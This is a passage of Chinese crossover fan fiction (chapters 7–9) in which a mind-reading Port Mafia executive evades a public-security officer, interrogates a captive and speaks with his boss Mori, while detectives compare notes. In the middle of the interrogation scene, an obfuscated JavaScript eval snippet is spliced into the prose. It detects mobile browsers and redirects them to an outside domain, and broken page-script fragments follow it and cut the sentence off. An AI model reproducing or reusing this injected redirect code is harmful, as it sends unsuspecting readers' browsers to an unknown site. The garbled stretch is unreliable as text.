【光希打了他就不能打我】 察觉到梦野久作那脆弱的精神并没有因为藤原的话被影响多少后,雾岛光希踩着人的腿才稍稍抬起一些。 小朋友以前被骂几句就会哭着暴走,现在好像没那么在意别人的看法。 梦野久作忧伤地叹气:【唉,今年七岁,明年就是八岁】 【好无聊,我什么时候才能长得和光希一样高呢】 周围的几位异能力者捂着不同程度的伤口形成了一个包围圈,充满仇恨地凝视着站在中央的雾岛光希,一副伺机要把他拉入地狱的样子。 雾岛光希对此不以为意,反正讨厌他的,想杀他的人加起来,多到可以绕日本三圈,再从港口排队到自由美利坚。 可除了这些人的心声外,雾岛光希朝树林深处看去,不恰时宜地听到另一个声音。 【!!!】 十几米外,风见裕也瞪大眼睛。他背过身,后背靠在粗糙的树干上,由于过度的震惊,连呼吸都屏住了。 【不会看错的!和档案上的照片一模一样!】 【降谷先生不是说他已经牺牲了吗,雾岛警官怎么会在这里】 7. 第 7 章 尽管经常被自家上司指挥着做事,但风见裕也和降谷零严格意义上讲应该是两个不同部门的警察。 降谷零所在的单位是警察厅警备部警备企划课,而风见裕也隶属于警视厅公安部,受到警备部上级的指导和管辖。当初之所以被派到降谷零身边,也是因为他在公安的成绩出色,能做到二十四小时处于待机状态。 至于【雾岛光】,那是风见裕也之后整理档案时才发现的存在。据说是降谷先生就读警校时期的同伴,之后与降谷零一同被选拔入公安。明明狙击格斗样样精通,对方出外勤的次数却不多,后来主动申请了去协助情报管理科,因此在职时也和风见没怎么见过面。 那时发现风见在看这份资料,降谷零也没多说什么。他只是伸手把打开的档案合上,手掌按在档案夹的封面,风轻云淡地回了句“雾岛警官已经牺牲了”,之后就又和他说起了有关任务的事。 于是风见裕也对作为上司的降谷零更尊敬了些。毕竟不是谁都能做到喜怒不形于色的——更何况降谷先生还得在周围的朋友相继离世,不暴露身份的情况下一连打N份工。 降谷先生简直就是世界上的完美人类! 尽管平时魔鬼了点,下达指令的时候根本不管他在干什么了点,有时候还会严厉谴责他“你就是这么做公安的吗!”了点—— 等等,现在好像不是想这个的时候。 【雾岛为什么没死】 风见裕也头脑风暴,试图整理自己刚刚获得的情报。 他接到柯南的消息后就立刻赶了过来,因为公安的手段比起普通警察要多,所以风见裕也调动资源,找到雾岛光希的踪迹也比其他人要快。 【难道和降谷长官一样,长期协助情报管理科的雾岛其实是被培养出来的卧底?】 风见裕也越想越有道理。 【听说那时降谷先生收到消息的时候,雾岛的遗体已经被家属火化了,只有一份法医的检测报告,说不定压根没有尸体这回事】 听到这里,雾岛光希差不多也解决完了最后一名异能力者。 他再次向树林深处看去,总算想起自己以前到底是在哪里看到的风见裕也的名字。 好像是他那条中之条,被称为卷王,明明在当卧底,却还要保持每天公安的出勤率的同期的同事来着。 “怎么了,光希?”踩在昏迷不醒的敌人的后背上,梦野久作看看雾岛光希,又看看黑漆漆的小树林,“那里有敌人吗?” 梦野久作的声音不大,也就是雾岛光希自己能听到的程度。但青年将手按在梦野久作的头顶,没立即给出回答。 全中。 雾岛光希沉吟。 他假死脱身的时候确实是没有尸体,更确切地说,为了瞒过监控,他那时特地弄了具假尸体。 被收买的法医在初步检查后出具了虚假的报告,倘若那时有降谷零在场,就会发现那具尸体的手上带着层薄薄的枪茧,压根不是真的【雾岛光】的手。 再这么下去,这家伙就要猜到他当年为了得到情报,不惜混进条子当卧底的事了。 虽然森先生说了这段时间尽量不要对警察下手,但日本公安恐怖如斯,要不他现在杀人灭口以绝后患吧。 【这件事情得尽快向上汇报】 雾岛光希弯腰,隔着层手帕,捡起高濑会的人掉在地上的枪。 【不过这件事大概是机密,如果雾岛真的是警察厅派出去的卧底,那这件事能不能告诉降谷先生也要经过上面的评估】 雾岛光希一顿,又隔着层手帕,乖巧地把之前捡起来的枪放下了。 “是不喜欢吗。”梦野久作看不懂雾岛光希的行为,只知道他捡了把枪又扔掉,还以为是他用这个型号的枪不顺手。 “不是。”将昏迷不醒的藤原扔到车上,听到由远及近的刹车声,雾岛光希示意梦野久作回车上坐着,自己反而戴上了帽子,往小树林那边走。 “雾岛干部。”提前准备好协助他撤退的部下在耳机里发出汇报,“虽然按您说的拖延了点时间,但那个叫松田的警官直接把车开到了货车的车顶上,还有几分钟就要过来了。” 雾岛光希脚步略微停顿:“……把车开到了车顶上?” “是。”耳机另一头的部下沉重,“最近的警察真是越来越难缠了,他们比我们还要嚣张。” 雾岛光希试图想象了一下那个画面,没再回话。 而没注意到雾岛光希在向自己靠近,风见裕也低头,看了眼手机上江户川柯南的来电提醒,刚想接通,就迅速意识到什么,调转枪口转过头去。 “……” 砰——! 短暂的寂静后是一声枪响。 “那边!”看到树顶上被枪声惊动的鸟雀,江户川柯南下意识地提高音调。 空旷的据点里横七竖八地倒着几个人,江户川柯南甚至还没等车辆停稳就急着跳下了车。他快速跑到草丛里昏迷不醒的风见裕也身边,在确认对方只是晕过去后,摸了摸掉在旁边的枪的温度,暗道一声“可恶”。 松田阵平瞥了眼江户川柯南的动作,倒是没立即去把警视厅的同事捡回车上,反而在地上那些无名氏的旁边蹲下,戴上随身携带的手套,揭下了贴在他们脸上的纸条。 是从警察的笔记本上撕下来的,还有公安部的标志。 【日影光希】非常贴心地给他标注了每一个无名氏的姓名,并将枪里的弹匣卸了,随手扔在一边。 “松田!”迟到一步的佐藤和高木跑来,他们同样看到了松田阵平手上的纸条,得到的情报比松田还少,“这是……” 松田阵平将纸条翻到背面。写字的人用的是英文,字体清隽,只有写到名字时用的是日文。 当然,翻译过来就是—— “怎么了?写了什么?”看着松田阵平起身,将纸条放入证物袋,佐藤美和子皱眉询问。 “好像是适可而止之类的话。”仗着身高优势,江户川柯南看到了纸条上的话,“后面还写了松田警官的名字。” 松田阵平没说话,动作看起来懒洋洋的,刚侧过脸去看向江户川柯南,后者就立即反应过来,“嘿嘿”地笑了一声,装可爱似的说“不小心看到的。对吧,松田警官?” “是你的话应该也注意到了吧。”难得没接他的话,松田阵平随手将证物袋抛到佐藤手中,“从我们听到枪声到现在,前后不过也就两分钟。公安一般会将笔记本和警官证放在西装左侧的内侧袋里,也就是说,犯人得在两分钟的时间内,从这位警官身上精准地找到笔记本,并写下这些字,再在我们抵达前撤离。” “当然,也不排除是他先把风见警官打晕,再写下这些东西,等做完一切,才做了开枪的动作。” 江户川柯南几乎是同时想到了松田阵平说的这种可能。 “可子弹应该是从风见警官配枪里发出的吧。”佐藤美和子说,微微一顿,“等等,也就是说——” “啊。”松田阵平嗤笑,“不管是哪种可能,都说明我们追查的那位犯人和风见警官是旧识。” - 这次出发前,森鸥外特地强调了一遍,不许雾岛光希在这种可能引起特务科注意的任务里对警察下手。 如果真的要动手,那就做到毁尸灭迹,绝不能留下任何可能定罪的证据。 内务省每年在制止异能犯罪方面花费的经费很高,被称为特种部队的猎犬又常年在外镇压异能暴动。因此,异能力者方面,黑吃黑在内务省是默认的解决麻烦的规矩。看在他和松田阵平曾经实打实地相处了四年,他某种意义上还挺喜欢和松田阵平关系不错的萩原研二的份上,他都已经发出了[适可而止]的警告,松田再纠缠着不放就不礼貌了。 至于高濑会剩余的人…… 雾岛光希看了眼刚刚使用了异能的梦野久作,发现对方的精神状态还不错。 “刚刚那个人对光希开枪了。”回到港口黑手党的小朋友甚至还有力气忿忿不平,“光希就该把他交给我解决。” “是我扣的扳机。”雾岛光希抬手去揪被扔在后备箱的藤原时,非常自然地把人扛在肩上,“如果没有开枪的迹象,警视厅就会往那位警官和我认识这方面查。” 公安比一般的警察要难缠,虽然解决麻烦的方法也很简单,按他那位暗杀出身的兄长的理论,那就是把所有目击者杀光就行了。 雾岛光希对此不敢苟同。 因为他觉得把所有人都杀光也很麻烦,他又不是杀人狂。 所以这种麻烦的事还是交给早上内涵他审美的森先生好了。 如先代当初让雾岛光希去炸了警视厅,结果被他当做耳旁风一样,雾岛光希也不是完全听从森鸥外的命令。 有时他甚至还会小心眼地偷偷报复对方——尽管森先生似乎完全没意识到这点,还以为是他的性格缺陷。 “……” “况且。” 梦野久作后背一凉。 雾岛光希将准备跑路的梦野久作拎回来:“我好像还没和你算跟着藤原逃跑的事。” 小朋友的双脚离地,像个无助的小鸡仔一样悬在空中。 雾岛光希将他上上下下看了一遍,确认除了他自己绑在手上的刀片割破了皮肤外,确实没受什么额外的伤后,才松手将人放了回去。 【总,总之】 七岁的小天才梦野久作开动大脑。 【刚刚那个家伙一装可爱光希就放过他了,那我也……】 “从今天起不许看乱七八糟的电视。”雾岛光希开口,打断他的技能读条。 梦野久作:【!】 “也不许和太宰一样看到有河就跳。” 梦野久作:【太宰!绝对是太宰告的状!】 梦野久作垮着张脸,抱着他因为使用异能坏掉的玩偶,不情不愿地跟着雾岛光希走进电梯。 过了一会,雾岛光希才听见他小声地在那里嘀咕:“可恶的光希,就知道移情别恋,那个领结小孩有哪里好,难道因为会推理,光希就更喜欢他吗。” 肩膀上扛着的 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他思忖几秒,在电梯到达拷问室前,唇瓣张开,还是有点想直接问这个问题的答案。 ——去年不是还很讨厌他吗。 然而,在雾岛光希问出这个问题以前,梦野久作却注意到了之前藤原说的话。 “瓦里安是什么?”还没接触过横滨以外的黑手党,梦野久作在提起这个名字时异常好奇。 “……”这要怎么回答呢。 “是一个专门搞暗杀的部队。”雾岛光希试图解释道,“有点类似广津先生率领的黑蜥蜴,但里面的成员可能要更残暴些。” “喔。”梦野久作似懂非懂,“那他为什么说光希背叛了瓦里安?” “嗯……”雾岛光希不知道怎么和梦野久作形容。他加入港口黑手党以前的身份不是秘密,但因为十五岁就当上了干部,所以之前的档案和身份信息都被封存了,八年过去,活着还知情的人少之又少。 “因为光希原本的家人是那个组织的成员。” 梦野久作还没等到答案,就再次双脚离地,被刚好在一楼等电梯的太宰治拎了出去。 “不被允许看电视的Q君,我记得我的原话是让你在门口等我,结果还没一分钟就不见了啊。” 没有问太宰治为什么会知道他们在停车场的对话,雾岛光希瞥了眼太宰之前送自己的胸针,知道那有窃听的功能。 不过因为是太宰小时候第一次送他的东西,所以雾岛光希还是好好地带在了身边,甚至有时候还会拜托技术部帮自己维修。 “才没有不见。”梦野久作狡辩。 【太宰只要一碰到有关光希的事,就变得一点也不好玩】 看。 雾岛光希欣慰。 一定是因为太宰太担心他了。 梦野久作:“是鞋子自己先动的手。” 虽然雾岛光希理解不了魏尔伦为了将作为弟弟的中也带走,要对傻瓜鸟他们出手的行为,但是这份只要看到弟弟站在自己面前,就平白无故地感到心情愉悦的感情是一样的。 【太宰一定是@&;%&光希】 太宰一定是——嗯? 雾岛光希察觉不对,正想仔细听听那串模糊不清的声音,梦野久作的注意力却已经转移。 【太宰说光希以前的家人是瓦里安的成员,那个傻高个又说光希背叛了瓦里安,那意思就是光希被他的家人抛弃了?】 ……怎么想都不是这个意思吧。按照这个逻辑,难道不是他抛弃了瓦里安才对吗? 虽然事实也不是这样,认真讲起来,雾岛光希甚至都不是瓦里安的成员,只是因为他那剑帝哥哥在里世界太有名,所以大家都默认他应该加入瓦里安罢了。 “光希。好可怜。” 雾岛光希沉默,看着被拎着后领,晃荡在半空中的小朋友双手环胸,沉重地点头。 “我就不会抛弃光希。” 雾岛光希:。 今天他的说话量已经超上限了,如果可以,雾岛光希真的不想讲话。 但大概是森鸥外的话起了作用,也可能今天的事让雾岛光希发现,久作似乎会因为陌生人的出现会隐隐感到不安。 雾岛光希无声地笑了笑,还是认为一些事应该直接告诉对方才好。 他本身就长得好看,这么一笑,外面假装下班假装了五分钟的黑手党们就又忍不住偷看了一眼,只觉得自家的干部快要把大家迎接的雪花浪漫的冬天都比下去了。 “知道了。”雾岛光希张嘴,他的眼睫下敛,嗓音温润。 他不会离开港口黑手党,所以倒也谈不上抛不抛弃他。 是真的不用和别人比来比去。雾岛光希对梦野久作没什么特别大的要求,毕竟人才七岁,他七岁的时候没一次不被斯库瓦罗打趴下的。 这些理所当然的话雾岛光希自动省略,只挑了最重要的一点。 梦野久作一愣,听见他说。 “久作,你是黑手党的成员,光是这点,就已经很厉害了。” 8. 第 8 章 回到港口黑手党后,雾岛光希要做的第一件事就是将藤原扔进空出来的拷问室。 “你要把Q君宠坏了。”太宰治看着雾岛光希的动作,冷不丁地说出一句。 雾岛光希瞥了眼手指上沾染的灰尘,回得不以为意:“有吗。” “黑手党是靠严格的规矩和等级制度在运行的团体。”太宰治说,“Q的危险性你比谁都清楚,他擅自离开港口黑手党,私自行动,而你竟然只是轻飘飘地一句让他以后不准看电视。” “……”雾岛光希一顿,他似乎没想到太宰会在意这个,于是有些疑惑地侧过脸去看向靠在角落的少年。 “首领很看重久作。”雾岛光希回,“按照规定,久作是你那边的人,没造成实际损失的情况下,我没理由越过你处罚久作。” “是吗。”太宰治微笑,“说的也是。” 【话是这么说的,但还要先提一嘴森先生对Q君的在意程度。以光希的心软水平,等我把Q君关禁闭到第三天就会亲自去看他了吧】 【呵呵,然后诡计多端的Q君就会装可怜,说我不给他吃饭之类的,真是故事看多了,他以为自己是可怜的辛德瑞拉吗】 雾岛光希:? 他之所以说那句,是因为之前梦野久作暴走的时候,令许多港口黑手党的成员精神重创,有人要求按照规矩将梦野久作处死,而森鸥外却以将梦野久作单方面关了几个月,不许私自行动的措施保下了对方。 因此,港口黑手党在几个月前就制定了针对未成年的成员的处置措施。和成年人不一样,小朋友被抽个二十几鞭大概是会被抽死的。 雾岛光希欲言又止,跟确认什么似的:“太宰,你最近看的童话书?” 由于雾岛光希唯一的爱好就是看书,太宰治听他提起这个话题也不奇怪。 但他还是顿了下,随即扬起一个微笑:“雾岛桑,和那个黑漆漆的小矮人走得太近,你也开始异想天开了吗。” “……”雾岛光希默默别开眼,心想太宰怎么又生气了。 他不是日本人。接触日本文化的时候才十三岁出头,因此也是学了几年才渐渐弄懂了日语里各类称呼的区别。 [桑]是最普遍的称呼,大概算敬称的一种,只不过不分性别和上下级,用来称呼上司同事或者亲人恋人都可以。 [君]就带了点区分地位的意思,一般用在上级对下级,或者前辈对晚辈。 至于[酱],大概就是小xx的简称,会给人一种比较亲近或可爱的认知。 雾岛光希刚来日本时没人教过他这点,导致他那时候喊谁都是小xx,最后还是松田阵平忍无可忍,头顶十几个十字路口,问他为什么要跟着萩原研二一起喊自己“小阵平”。 雾岛光希面无表情,那时候才知道自己被傻瓜鸟他们耍了。他回到港口黑手党的宿舍,问太宰怎么不纠正自己,结果十二岁的太宰小朋友看他一眼,轻描淡写地回了句“我以为你们这个国籍的人都一样轻浮”。 太宰生气的时候,就喊他“雾岛桑”。 太宰心情好的时候,就直接喊他“光希”。 带着太宰出任务的时候,太宰勉为其难会和别人一样称呼他为“雾岛干部”。 雾岛光希已经通过这微妙的差别,将太宰治的心情变化摸透了。 雾岛光希叹了口气,又将原本移开的视线挪回来:“森先生说我在大家眼里的形象不太好。” 雾岛光希以后想了想,觉得森鸥外的意思可能是对现在的港口黑手党而言,光有恐怖和威胁是行不通的,这样一来,片山的事可能就要当做特例。 太宰治鸢色的眼瞳挪动,注意到了从墙角钻出来的老鼠。 毛茸茸的灰色生物似乎对于雾岛光希很有好感,探头探脑地看着他,胡须一动一动。 “是在询问我的意见吗。”太宰治抬眸,尽管雾岛光希没把话说完,但很快就领悟了他的意思,“片山只是个普通成员,怎么样都无所谓,那家伙的枪法连三岁小孩都不如,虽然逃跑的时候慌不择路地朝我这边开了三枪,但都打在了墙上。” 【大概是光希之前给它喂过什么吧,讨厌的东西,这就缠了上来吗】 太宰治这么一说,雾岛光希才注意到了之前从楼梯上摔下来的生物。 “说是普通成员……”雾岛光希看着小老鼠往自己这里跑了两步,转头又看到太宰治的视线,于是又一瘸一拐地跑了回去。 雾岛光希的嘴唇动了动,几乎下意识地:“……当初也是我把他从街上带回来的。” 察觉到雾岛光希的视线,太宰治轻笑:“光希。”他说,“你什么时候也开始考虑这么多了。” 片山志加入港口黑手党后,分内的工作做一直得不错。这次从港口黑手党窃取利益,向别的组织提供情报,也是为了替给他生病的妹妹筹钱。 然而这样的例子在黑手党内部数不胜数。 处刑是雾岛光希的工作。他在黑手党里待的时间比大部分人都长,自然听到的也比一般人多。 什么全家唯一的遗孤,什么为了死去的妻子报仇——叛徒死前的忏悔数不胜数。可背叛就是背叛,对黑手党而言,无论是什么理由,只要是背叛就不可原谅。 处刑的人经常因此深夜抑郁,于是再到后来,这类人的处决就变成了雾岛光希一个人在做。 毕竟雾岛光希是真的感受不到这么复杂的感情,他心如止水的,除了偶尔会为部下欣慰一下,最强烈的情绪也就是生气。 但久而久之,或许是因为接受了这份工作,雾岛光希的名声就变得很差。 “也有道理。”雾岛光希想,“我知道了。” 太宰治看了他一会,忽然这样问:“你又知道什么了。” 雾岛光希:“没有将片山当做特例的理由,那样对我以前处刑的叛徒不公平。” 黑手党只看结果,不看过程。 开恩的事交给红叶就好,他只要负责单纯的镇压就够了。 太宰治笑了笑:“我可没有这么说。” 【他今天的话好多,根据以前的经验,是一回宿舍连床都走不到就倒在地上的程度吧】 雾岛光希沉默,心想自己在太宰心里的形象未免有些微妙。八年前这样也就算了,他这几年多少也是有点进步的。 更何况,同为干部的大佐先生死后,尽管太宰和中也作为干部候选接替了些工作,但大部分任务还是落在了雾岛光希这里。 雾岛光希心里的小人面无表情地躺在地上,开始怀念以前一天能休息九个小时的日子。 不过…… 雾岛光希的眼神闪烁了几秒,他微微一顿,想起去抓藤原前还没来得及验证的事。 太宰治的睫毛一颤,他侧过脸,就这么看到那只漂亮的手蹭过自己的脸颊,指尖穿过微卷的发丝,最后落在他的耳后。 【……】 太宰治的心声很安静,不紧不慢地掀起眼,就以这个姿势对上雾岛光希的视线。 又过了几秒,雾岛光希听到预料之中的声音。 【谁又骗他乱七八糟的事了。魏尔伦吗。】 果然。 雾岛光希遗憾地想到。 不是异能。既然[人间失格]没有作用,那就是他日后真的得和侦探一样,玩那85%的[你猜我说的是不是真的]的游戏了。 “抱歉。”雾岛光希收回手,“我要把藤原叫醒了,你先去做自己的事吧。” 太宰治这才分了昏迷不醒的藤原竜也一个眼神。 【红叶姐说以前张口闭口光希的人就是这样的家伙?】 【真是的,明明是这么嫌麻烦的一个人。如果不是在谋划什么……】 太宰治的眸色一深。 【这种无聊的任务,推回给森先生不就好了】 - 藤原竜也从昏迷中清醒。他整个人被锁链吊着,不得不以站立的姿势睁开眼睛,刚一感知外界的环境,就被冻得打了个哆嗦。 他身上的衣服湿透了,大概是之前被浇了几盆水。地下室的中央空调温度被调得很低,制冷的机器正对着他的后背吹着,连衣服都有点被冻得发硬的迹象。 藤原竜也抬起眼,就这么看着靠在不远处的雾岛光希微微直起身子。 青年一把掐住影子制造出的猛兽的脖子,风轻云淡地瞥了眼尖锐的爪子在自己手臂上留下的血痕,任由对方挣扎尖叫,却怎么也不松开手。 “哈。”藤原怒极反笑,“在那小鬼面前装得好好的,你这家伙现在不装了?” “密码。”雾岛光希插在口袋里的左手抽出,他的两根手指夹着从藤原衣服夹层里搜出来的芯片,神色在昏暗的灯光下看不真切。 “见鬼的密码。”藤原冷哼,“要杀要剐随便你,我是不会告诉你密码的。” 被掐住脖子的猛兽发出哀鸣,雾岛光希皱眉,一把将它甩在藤原身后的墙上。 藤原看了眼自己重新站起来的异能,面色阴沉。 【那个新首领据说原本不过是个不值一提的黑市医生,雾岛作为先代选出来的干部,竟然还证实了那可笑的传位的真实性。我看他对所谓的新任首领忠诚也没多少,之所以这么做……】 他盯着面前走过来的雾岛光希道:“你这么在意这里面的东西,根本不是因为里面有港口黑手党的罪证吧。” 雾岛光希颔首,言简意赅:“你不是说了吗,这里面有特务科回收那位异能力者时的录像。” 藤原语气不善:“你不是不在乎这种用来威胁特务科的手段?” 雾岛光希懒得废话,只是说:“你拍到了不该拍到的人。” 那段录像藤原看了不下二十遍,每一帧都研究得彻彻底底,骤然听到这句话,下意识地拧起眉头,思考哪个是自己不该拍到的人。 “我倒是真的有点好奇。” 藤原嗤笑,知道自己从雾岛光希嘴里撬不出上一个问题的答案。于是也不紧不慢地站直,拽了拽锁住自己双手的锁链,舒展了会肩膀。 “港口黑手党的人知道你这幅德性,还敢和你并肩作战?” 落在身上的目光没有实质。雾岛光希眼睛的颜色在黑暗中加深,他的五官中带着锐意,就这么冷冷清清地低下眼,一抬手精准地掐住再次扑过来的凶兽的脑袋。 影子幻化出来的猛兽,尾巴被雾岛光希踩在脚底,他的手背上青筋纹路清晰,下一秒,只听那只凶兽发出一声尖叫,头和身子被硬生生地扯开,最后化为了一摊黑水。 藤原忍不住呕出一口血。 “就是这样……”他哈哈地笑着,舔了舔嘴角渗出来的血,“什么躲来躲去的,我还以为你什么时候弱到那种程度了。” 【装货。伪君子】 【还哄小孩呢,他一个人把高濑会的分部踏平时可没这么好脾气】 藤原叽里呱啦地骂了一堆,雾岛光希却只是皱了下眉,搞不懂他以前明明和自己交过几次手,还要挟持久作打算抓他的原因。 “你的异能靠的是影子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267598|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 随着雾岛光希的声音落下,地下室所有的光源被切断。藤原一怔,他的眼前一黑,失去视觉后,彻底陷入被动的境地。 “那没有影子不就行了。” “藤原君。” 雾岛光希眉间的皱痕加深,不明白这个时候对方怎么反倒开始害怕得发抖了。 “我最后问一次,密码是什么。” …… …… 从地下室里走出来是在四十分钟后,雾岛光希先回了宿舍洗澡,他将外出穿的衣服扔进篮子里,用蓝色的毛巾擦了擦头发,刚走出浴室,目光却在看见站在他的书架前,悠闲地翻着书的人时微微一顿。 “东西交过去了吗。”那人头也不回地问,将书翻了一页。 “……是。”雾岛光希微微点头,“如您要求的那样,删除和港口黑手党有关的资料后,我将芯片交给了前来对接的彭格列守护者,狱寺隼人。” “我记得他们似乎是把你称为叛徒。”穿着黑色风衣的男人轻笑着转过身来,“光希君,我还以为你会因为不想见他们,拒绝这个任务呢。” “……都是小时候的事了。”雾岛光希看了眼对方手上的书,“狱寺君没和我说什么特别的话。如果您是想确认这点的话,没必要亲自来找我,首领。” 被称为“首领”的男人,俨然是本来应该在防备森严的最高层待着的森鸥外。 “哎呀。”森鸥外无辜道,“我就不能是想见光希君才来的吗。” 话是这么说的,但森鸥外的视线扫过雾岛光希手臂上缠绕的绷带。 【对付藤原那种人都会受伤,要说让他去和彭格列的人对接,一点情绪波动也没有,似乎也不现实】 雾岛光希:。 只不过是小时候和彭格列那群人相处过一段时间,所有人都防着这个干什么。 雾岛光希不解,但隐约觉得当初其他干部封存他的档案,不让内部讨论他本身就来自与彭格列同盟的斯贝尔比家族这点似乎有那么点道理。 “山本君那时将彭格列的事称为黑手党游戏。”雾岛光希很诚实地回答道,“我没说要加入他们的游戏,狱寺君以前的性格比较暴躁,他现在已经不会暴跳如雷地称呼我为叛徒了。” 事实上,狱寺隼人当时靠在车边,咬着根烟,看到他来,也就是掐灭了烟头,礼貌性地说了声“你来了”而已。 “我知道。”森鸥外勾了勾唇角,对雾岛光希的回答并不意外,“我只是有点奇怪,八年前,港口黑手党还是个普通组织,以你的性格,为什么偏偏选择了这里。” 【如果是为了追随先代,就不会协助我平息先代派的叛乱。所以光希君是有别的目的……但光希君是从斯贝尔比来的,八年前的港口黑手党有什么值得他这么大费周章】 雾岛光希板着张脸:“因为我只有在这里不会倒霉。” 【……】 森鸥外眨了眨眼,变成Q版:“是这样吗。” 雾岛光希:“您根本不知道我在别的地方有多倒霉。” 森鸥外:“嘛,那也是没办法的事。” “……您在幸灾乐祸?” “没有呢。怎么会。” 森鸥外并不信他的理由,但想到了些无关的传闻:【这么说来,光希君确实有的时候很倒霉。听说他上次心心念念地去亲自排了六小时的队去签什么东西,结果刚好在他前一个结束了】 雾岛光希:……所以你为什么会知道 “晚上有个会议。”森鸥外合上手里的书,走过雾岛光希身边时说道。“光希君,身体不舒服的话,你还是先睡几个小时为好。” 雾岛光希看着自己宿舍的门合上,思索了一会到底要不要告诉森鸥外自己能听到点声音的事。 但雾岛光希最后还是收回了视线,什么也没说。 他走到书架边,抽出那本刚刚被森鸥外拿出来的书,简单地翻了几页,没发现什么异常,目光在一行字迹上停留片刻,后知后觉地想起这是前年那个人派人送给他的。 [人会在逃避自己命运的路上,遇见自己的命运][1] [光希君,生日快乐,我永远是你忠诚的朋友] 没有落款。当初寄来的包裹上也没有写名字。但因为是用意大利语写的,所以很轻易就能猜出送礼的人是谁。 森先生懂意大利语吗? 沉默在蔓延,整个房间寂静异常,雾岛光希就这么站了许久,才将这本书合上,重新放回书架上。 【“怪物……怪物……”】 耳边有谁在喃喃自语。 模糊的幻镜里,和雾岛光希有几分相似的女人缩在角落,她的眼睛雾蒙蒙的,眼底爱和恐惧混杂在一起,令她又哭又笑地,抓破了她自己的脸。 三岁的小朋友有点迷茫。他不知道该前进还是后退,刚要张嘴,就听见了个分贝极大的声音。 【“阿莱西奥·斯贝尔比!不是和你说了不要跑到这里来了吗!”】 十二岁的斯库瓦罗提着剑,揪了一把他的后领。 耳边有水滴落下的声音。 雾岛光希猛地睁开眼,他的呼吸凌乱,从床上坐起身时,环顾了周围一圈。 偌大的房间空空荡荡,没有其他人,也听不到傻瓜鸟以往在楼上放音乐的声音。 令人窒息的黑暗和寂静裹挟了他,雾岛光希却什么也感觉不到。他就这么安静地坐了一会,目光最后落到墙上的钟表。 时针不知不觉中挪动,已经过了五个小格。 9. 第 9 章 与此同时,波洛咖啡厅。 一天的营业已经结束,安室透将洗干净的盘子放入消毒柜,正要准备第二天的食材,就听到背后响起了玻璃门推动的声响。 “这位客人,今天已经过了营业时……”安室透转身,客气的话语在看到那张熟悉的面孔时戛然而止。 松田阵平打了个哈欠,非常自来熟地坐到佐藤他们经常来的位置上:“一份招牌火腿三明治。” 安室透瞥了眼外面空空如也的街道,没做出过多的反应,只是将蒸锅重新打开,然后将柜子里的面包放进去。 松田阵平看到他的动作,懒洋洋地撑着下巴:“高木他们一直说这里的三明治好吃。这位服务员小哥,就这么让我看到你做面包的秘诀好吗。” “本来也不是什么秘密。”安室透笑眯眯地,将装有温水的杯子放到松田阵平面前,“这位警官先生,这么晚来这里,是在为了案子加班?” “这个嘛。”松田阵平挑了下眉,“今天逃走的犯人和那位来自公安的风见警官似乎是旧识,把对方送去医院后,本来想等他醒了再找他做笔录。结果公安那边对这件事格外敏感,那位叫风见的警官也一问三不知。” “医院?”蒸锅里散发出甜腻的香气,安室透将蛋黄酱和味噌混合在一起,头也不抬地发出提问,“看来今天的犯人很难缠啊,你们那边也有人受伤了吗。” “是个做炸/弹的天才。”松田阵平意有所指,“你喜欢的那位小侦探和他提到了有关品酒的事,两个人心照不宣地达成了什么共识。” 安室透撕生菜的手有略微的停顿,但在松田阵平的注视下,他还是一个多余的情报也没有给出,将撕下来的生菜泡在热水里。 “您要喝酒吗?”安室透抬眸笑道,“我这里只剩下刚做的橙汁了。” 松田阵平勾起唇角,意识到“琴酒”这个词代表的含义,远比江户川柯南装蒜的要严重许多。 不过他也没继续问下去,视线反而捕捉到了安室透放在围裙口袋里的手机。 小小的雪人挂件搭在那里,随着安室透的脚步晃来晃去。 “我本来也有个类似的挂件。”松田阵平的双腿交叠,语气散漫,“可惜被人截胡骗走了。服务员小哥,你也觉得很过分吧?” “送东西这种事讲究你情我愿。” 刀切在砧板上的声音响起,将切成两半的三明治装进盘子后,安室透抬起眼道。 “您要是想要,可以再去网上买一个。” 久远的记忆在脑海中浮现,松田阵平看着眼前的三明治,耳边还响起萩原研二的那句【“哇,小雾岛,你还真去帮小阵平带这个了吗”】。 那时二十二岁的松田阵平一愣,他看着一脸不知道萩原笑什么的雾岛光,嘴硬地别过脸去,回了一句【“我又没让他帮我”】。 结果还没等雾岛光说话,旁边的降谷零就很自然地将东西拿走,说了一句【“既然松田不喜欢,那就给我好了”】。 雾岛光没搞懂他们在干什么,但既然有人说想要,他就很自然地递了过去。 松田阵平差点被他们两个气死。 ——谁说我不要了啊!雾岛光!你是笨蛋吗! 被骂了的雾岛光面无表情地生了气。他生了气也不会说自己生气,漂亮的眉眼透着冷意,轻轻地哼了一声,只是别过眼去,惹得萩原研二忍俊不禁,低头和他耳语几句,雾岛光这才眨了眨眼,有些疑惑地转回来,重新看向松田阵平。 松田阵平立即转移矛盾。 ——喂!还有金毛混蛋!你又没有被禁止出校门!给我自己去领啊! 降谷零这个死脑筋从那时候起就有点当公安的天赋。 一晃眼都过去七年了。 安室透:“不吃吗。” 松田阵平起身:“我打算打包。” 安室透微笑,额角冒出一个十字路口:“看来就算加班,精神也很好嘛。” 松田阵平哂笑,他长腿一迈,从卡座里走出时,背对着玻璃,压低声音,以只有两个人的音量说了句:“今天的那个犯人,大概率来自公安内部,那可是一个人能解决三四个黑手党的危险分子,你要是见到了可别想着一个人处理。” 安室透:“风见被打晕了?” 松田阵平:“不仅被打晕了,还被拿走了口袋里的笔记本。” 安室透:“竟然被这么轻易地放倒,那我可得说说他。” 两个人心照不宣地摊牌交流了几秒,之后松田阵平就背对着安室透挥了挥手,拎着打包的三明治开车走了。 安室透收起盘子。在做好一系列的扫尾工作后,他拉下咖啡厅的窗帘,摘下围裙,确认前门已经锁好后,拿着打包好的垃圾从后门走出。 “风见。” 安室透阖眼,对着在黑暗的角落里罚站的部下开口。 风见裕也一个激灵,下意识地立正,后颈还带着点被他用拉高的衣领藏起来的淤青。 